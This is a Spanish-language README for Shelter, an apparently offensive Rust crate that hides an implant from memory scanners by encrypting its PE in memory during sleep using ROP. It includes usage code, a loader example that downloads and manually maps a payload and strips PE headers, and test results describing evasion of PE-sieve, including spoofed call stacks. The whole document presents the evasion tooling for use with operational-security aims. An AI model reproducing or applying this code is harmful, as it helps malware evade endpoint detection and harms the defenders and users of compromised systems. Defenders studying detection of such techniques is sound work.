
Ofuscación de suspensión basada en ROP para evadir escáneres de memoria
Shelter es una técnica de ofuscación de suspensión completamente armada que permite cifrar por completo tu payload en memoria haciendo un uso extensivo de ROP.
Este crate viene con las siguientes características:
Importa este crate en tu proyecto añadiendo la siguiente línea a tu cargo.toml:
[dependencies]
shelter = "=0.1.2"
Luego, compila tu proyecto en modo --release.
La funcionalidad principal de este crate se ha envuelto en tres funciones:
fluctuate() permite cifrar tanto la región de memoria actual como todo el PE. Esta función requiere que los bytes MZ del PE estén presentes para recuperar dinámicamente su dirección base.fluctuate_from_address() cifra completamente el PE. Esta función espera como parámetro de entrada la dirección base del PE.fluctuate_from_pattern() también cifra completamente el PE. Esta función espera como parámetro de entrada un conjunto personalizado de dos bytes para usar y determinar la dirección base del PE. Estos bytes mágicos personalizados reemplazan el patrón MZ clásico.Siempre que se cifra todo el PE, las protecciones de memoria de las secciones originales se almacenan en el heap para restaurarlas posteriormente.
Shelter utiliza NtWaitForSingleObject para dormir. Además de indicar cuántos segundos quieres dormir, también puedes pasar un handle de evento y señalarlo en cualquier momento para regresar antes de que expire el tiempo de espera (usando SetEvent por ejemplo). Ten en cuenta que si tu payload completo está cifrado (que es la idea principal, supongo), necesitarás una forma alternativa de señalizar el evento en caso de que hayas dormido indefinidamente.
La función espera los siguientes parámetros:
true requiere que los bytes MZ estén presentes en memoria.None, el tiempo de espera será infinito, lo que significa que la ejecución no regresará hasta que se señalice el evento pasado a NtWaitForSingleObject.None. El programa se bloqueará si configuras este parámetro y el tiempo de espera ambos a None.let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(true, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
La función espera los siguientes parámetros:
None, el tiempo de espera será infinito, lo que significa que la ejecución no regresará hasta que se señalice el evento pasado a NtWaitForSingleObject.None. El programa se bloqueará si configuras este parámetro y el tiempo de espera ambos a None.Una forma de usar esta función sería mapear manualmente nuestro payload con Dinvoke_rs. De esta manera, el loader puede enviar al payload su propia dirección base, para que el payload pueda usarla para ofuscarse cuando sea necesario. Así, el loader puede eliminar de forma segura los encabezados del PE para lograr un cierto nivel de sigilo.
Ejemplo de loader:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Ejemplo de payload:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
La función espera los siguientes parámetros:
None, el tiempo de espera será infinito, lo que significa que la ejecución no regresará hasta que se señalice el evento pasado a NtWaitForSingleObject.None. El programa se bloqueará si configuras este parámetro y el tiempo de espera ambos a None.[u8;2] que contiene bytes mágicos personalizados para buscar y así obtener la dirección base del PE.El propósito de crear esta función es permitir que el loader elimine el encabezado del PE y otras firmas, incluidos los clásicos bytes MZ. De esta manera, esos bytes pueden ser reemplazados por un patrón personalizado que Shelter buscará para recuperar la dirección base del PE.
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
Para probar la implementación de la técnica, se ha utilizado principalmente PE-sieve. Por defecto, PE-sieve busca implants dentro de regiones de memoria ejecutables, lo que significa que incluso ofuscando exclusivamente la región de memoria actual (.text) es suficiente para evitar detecciones:

Nota que, dado que estamos usando Unwinder, la pila de llamadas es falseada y por lo tanto la bandera /threads tampoco detecta la dll mapeada.
Ahora, PE-sieve permite inspeccionar regiones de memoria no ejecutables también usando la bandera /data. Según la documentación oficial de la herramienta, esta bandera configurada como always puede "producir mucho ruido/falsos positivos". A pesar de ello, decidimos usarla para comprobar la efectividad de la capacidad de cifrado completo del PE, ya que permite ocultar regiones de datos del PE que podrían contener indicadores de la presencia de un implant en memoria.

Como se puede ver, en la primera imagen se muestra cómo ofuscar solo la sección .text no es suficiente cuando PE-sieve escanea páginas de memoria no ejecutables, ya que algunas regiones podrían contener cadenas que revelen la presencia de una DLL (MZ, encabezado DOS, nombres de sección, etc.). Por otro lado, la segunda imagen muestra cómo este problema puede resolverse usando el mecanismo de ofuscación completa del PE de Shelter. En cualquier caso, y como se indica en la wiki de PE-sieve, esta opción conduce a toneladas de falsos positivos ya que la mera presencia en el heap de cadenas como ".data" o "rdata" ya advierte de un posible PE implantado, a pesar de que no es capaz de volcar nada de la memoria (ya que no hay contenido real de PE en esa región).
Finalmente, PE-sieve tiene una opción bastante nueva para detectar la presencia de implants ofuscados buscando regiones de memoria de alta entropía. Esta opción (/obfusc) en combinación con /data es capaz de detectar la presencia del payload debido a la alta entropía de la región de memoria que lo contiene (aunque no puede recuperar el PE ya que está completamente cifrado):
Aunque Shelter está listo para usar y se ha desarrollado pensando en OPSEC, todavía quedan algunas mejoras que se añadirán en un futuro cercano:
BCryptEncrypt/BCryptDecrypt con la función Nt correspondiente.